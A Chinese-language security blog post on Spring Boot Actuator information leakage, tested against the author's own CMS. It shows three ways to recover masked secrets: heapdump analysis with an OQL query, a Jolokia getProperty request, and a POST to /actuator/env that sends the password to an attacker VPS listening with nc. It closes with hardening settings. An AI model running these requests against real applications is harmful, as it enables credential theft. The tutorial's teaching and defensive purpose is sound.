Springboot之Actuator信息泄露的几种利用方式

Springboot之Actuator信息泄露的几种利用方式

Gat1ta 2,628 2022-08-17

什么是Actuator

Spring Boot Actuator 模块提供了健康检查，审计，指标收集，HTTP 跟踪等，是帮助我们监控和管理Spring Boot 应用的模块。这个模块采集应用的内部信息，展现给外部模块，可以查看应用配置的详细信息，例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信以及Web请求的详细信息等。
如果Actuator使用，可能造成信息泄露等严重的安全隐患（外部人员非授权访问Actuator端点）。其中heapdump作为Actuator组件最为危险的Web端点，heapdump因未授权访问被恶意人员获取后进行分析可进一步获取敏感信息。
SpringBoot 1.x 和 2.x 的 Actuator模块设置有差别，访问功能的路径也有差别，但现在多使用的SpringBoot版本为2.x，这篇文章只讲SpringBoo 2.x Actuator模块带来的信息泄露。

Actuator 使用

如果要使用 SpringBoot Actuator 提供的監控功能，需要先加入相关的 maven dependency：

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-actuator</artifactId>
            <version>2.7.0</version>
        </dependency>

只要加上了这个actuator依赖，SpringBoot 在运行时会自动开启/actuator/health和/actuator/info这两个 endpoint。
为了更方便漏洞利用，当前环境在一个CMS中加入了该依赖，因为自己新建的Springboot项目没有配置数据库之类的信息。

Endpoints 介绍

Spring Boot 提供了所谓的 endpoints （下文翻译为端点）给外部来与应用程序进行访问和交互。

打比方来说，/health 端点 提供了关于应用健康情况的一些基础信息。metrics 端点提供了一些有用的应用程序指标（JVM 内存使用、系统CPU使用等）。

这些 Actuator 模块本来就有的端点我们称之为原生端点。根据端点的作用的话，我们大概可以分为三大类：

  • 应用配置类：获取应用程序中加载的应用配置、环境变量、自动化配置报告等与Spring Boot应用密切相关的配置类信息。
  • 度量指标类：获取应用程序运行过程中用于监控的度量指标，比如：内存信息、线程池信息、HTTP请求统计等。
  • 操作控制类：提供了对应用的关闭等操作类功能。

需要注意的就是：
每一个端点都可以通过配置来单独禁用或者启动
不同于Actuator 1.x，Actuator 2.x 的大多数端点默认被禁掉。 Actuator 2.x 中的默认端点增加了/actuator前缀。默认暴露的两个端点为/actuator/health和 /actuator/info
原生端点如下：

请求方法

端点

描述

GET

/actuator

查看有哪些 Actuator端点是开放的。

GET

/actuator/auditevent

auditevents端点提供有关应用程序审计事件的信息。

GET

/actuator/beans

beans端点提供有关应用程序 bean 的信息。

GET

/actuator/conditions

conditions端点提供有关配置和自动配置类条件评估的信息。

GET

/actuator/configprops

configprops端点提供有关应用程序@ConfigurationPropertiesbean的信息。

GET

/actuator/env 

查看全部环境属性，可以看到 SpringBoot 载入哪些 properties，以及 properties 的值（会自动用*替换 key、password、secret 等关键字的 properties 的值）。

GET

/actuator/flyway

flyway端点提供有关 Flyway 执行的数据库迁移的信息。

GET

/actuator/health 

端点提供有关应用程序运行状况的health详细信息。

GET

/actuator/heapdump

heapdump端点提供来自应用程序 JVM 的堆转储。(通过分析查看/env端点被*号替换到数据的具体值。)

GET

/actuator/httptrace

httptrace端点提供有关 HTTP 请求-响应交换的信息。（包括用户HTTP请求的Cookie数据，会造成Cookie泄露等）。

GET

/actuator/info

info端点提供有关应用程序的一般信息。

GET

/actuator/integrationgraph

integrationgraph端点公开了一个包含所有 Spring Integration 组件的图。

GET

/actuator/liquibase

liquibase端点提供有关 Liquibase 应用的数据库更改集的信息。

GET

/actuator/logfile

logfile端点提供对应用程序日志文件内容的访问。

GET

/actuator/loggers

loggers端点提供对应用程序记录器及其级别配置的访问。

GET

/actuator/mappings

mappings端点提供有关应用程序请求映射的信息。

GET

/actuator/metrics

metrics端点提供对应用程序指标的访问。

GET

/actuator/prometheus

端点以prometheusPrometheus 服务器抓取所需的格式提供 Spring Boot 应用程序的指标。

GET

/actuator/quartz

quartz端点提供有关由 Quartz 调度程序管理的作业和触发器的信息。

GET

/actuator/scheduledtasks

scheduledtasks端点提供有关应用程序计划任务的信息。

GET

/actuator/sessions

sessions端点提供有关由 Spring Session 管理的应用程序 HTTP 会话的信息。

GET

/actuator/startup

startup端点提供有关应用程序启动顺序的信息。

POST

/actuator/shutdown

shutdown端点用于关闭应用程序。

漏洞利用

前面介绍过了Actuator一些基础后，现在来研究一下如果目标站点存在这个漏洞该如何利用。
首先访问一下/actuator/env：
image-1660716360039

该端点可以返回全部环境变量以及一些配置信息，其中就包含了数据库配置信息。但是我们可以看到password被用*代替了，这时就要想办法读取该数据了，获取明文密码办法有很多：

获取被星号脱敏的密码的明文 (方法一)

利用条件：

  • 可正常 GET 请求目标 /heapdump 或 /actuator/heapdump 接口

利用方法：

首先访问/actuator/heapdump 接口，下载应用实时的 JVM 堆信息。
然后通过JDK自带的JVisualVM工具对JVM堆的dump文件进行分析：
该工具路径为 JDK/bin/jvisualvm.exe
image-1660716653467
工具打开默认是这样的，接下来点击文件->装入：
image-1660716692732
选择我们刚才下载的dump文件。
image-1660716783279
可以看到系统的一些配置信息。
接下来打开OQL控制台，输入OQL语句来过滤我们需要的信息。
OQL 是一种类似 SQL 的查询语言，用于查询 Java 堆。OQL 允许从 Java 堆中过滤/选择所需的信息。虽然 HAT 已经支持诸如“显示 X 类的所有实例”之类的预定义查询，但 OQL 增加了更多的灵活性。OQL 基于 JavaScript 表达式语言，详细请参考Object Query Language (OQL)

env中信息存储在heapdump中的java.util.LinkedHashMap$Entry类中（Spring boot 2.X版本）。
如果我们要查询数据库密码则在OQL控制台执行如下OQL语句：

select s from java.util.LinkedHashMap$Entry s where /spring.datasource.password/.test(s.key)

image-1660717139941

可以看到有三个查询结果，挨个点开看看：
image-1660717193123
可以看到数据库密码为root。
注意OQL查询语句中的spring.datasource.password需要根据实际环境替换。

获取被星号脱敏的密码的明文 (方法二)

使用条件：

  • 目标网站存在/jolokia或/actuator/jolokia接口
  • 目标使用了jolokia-core依赖（版本要求暂未知）

默认情况下actuator是没有jolokia接口的，所以需要在添加如下依赖：

        <dependency>
            <groupId>org.jolokia</groupId>
            <artifactId>jolokia-core</artifactId>
            <version>1.7.0</version>
        </dependency>

利用方法

首先访问/actuator/env接口，获取想要获得明文的属性名，然后通过 jolokia 调用相关 Mbean 获取明文。
然后访问http://ip:port/actuator/jolokia/list看一下目标环境中存在的MBean：
image-1661157207019
接下来就可以通过调用我们找到的MBean来获取我们感兴趣字段的明文了：

POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

如果是1.x版本请求路径则为/jolokia
当前环境测试如下：
image-1660719722716

获取被星号脱敏的密码的明文 (方法三)

利用条件：

  • 可以 GET 请求目标网站的 /env
  • 可以 POST 请求目标网站的 /env
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置（存在 spring-boot-starter-actuator 依赖）
  • 目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
  • 目标可以请求攻击者的服务器（请求可出外网）

这里需要注意的是，添加了spring-cloud-starter-netflix-eureka-client依赖后，启动项目可能会报一个如下错误：
image-1661222030589
通过搜索最终找到了这个帖子
报错内容和帖子很相近，最终在移除了当前项目中的servlet依赖后报错消失。
image-1661223278274

还有一个问题就是如果使用的 spring boot 版本大于 2.2.4，则必须使用下面的属性手动启用POST API 调用：

management.endpoint.env.post.enabled=true

否则不能通过POST访问env端点。

利用方法：

  1. 首先访问http://127.0.0.1:8080/actuator/env来获取我们想要明文字段的key。
  2. 在自己控制的外网服务器上监听 80 端口：
nc -lvk 80
  1. 将下面 http://value:${security.user.password}@your-vps-ip 中的 security.user.password 换成自己想要获取的对应的星号 * 遮掩的属性名；your-vps-ip 换成自己外网服务器的真实 ip 地址。
POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
  1. 刷新配置：
POST /actuator/refresh
Content-Type: application/json

接下来VPS会获得如下请求：

GET /apps/ HTTP/1.1
Accept: application/json, application/*+json
Authorization: Basic dmFsdWU6cm9vdA==
Host: 82.157.68.97
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_191)
Accept-Encoding: gzip,deflate

将Authorization字段进行base64解密后，得到的值就是value:password

如何防御

针对第一种方法，我们可以直接禁用heapdump端点，可以在配置文件中加入如下配置：

management.endpoint.heapdump.enabled=false

然后重新运行项目，访问/actuator/heapdump：
image-1660790322780
可以看到无法下载dump文件，自然也就无法获取明文密码了。

针对第二种方法，可以有两种选择，一是直接移除jolokia依赖，二是禁用jolokia端点，这里直接移除如下依赖：

        <dependency>
            <groupId>org.jolokia</groupId>
            <artifactId>jolokia-core</artifactId>
            <version>1.7.0</version>
        </dependency>

删除选中部分，重新加载maven项目后运行项目，然后访问/actuator/jolokia端点：
image-1660790673086
可以看到端点已无法访问。

参考

https://blog.csdn.net/weixin_42628854/article/details/124592923
https://blog.csdn.net/weixin_40482816/article/details/108539137
https://www.cnblogs.com/caoweixiong/p/15325382.html
https://github.com/LandGrey/SpringBootVulExploit#spring-boot-vulnerability-exploit-check-list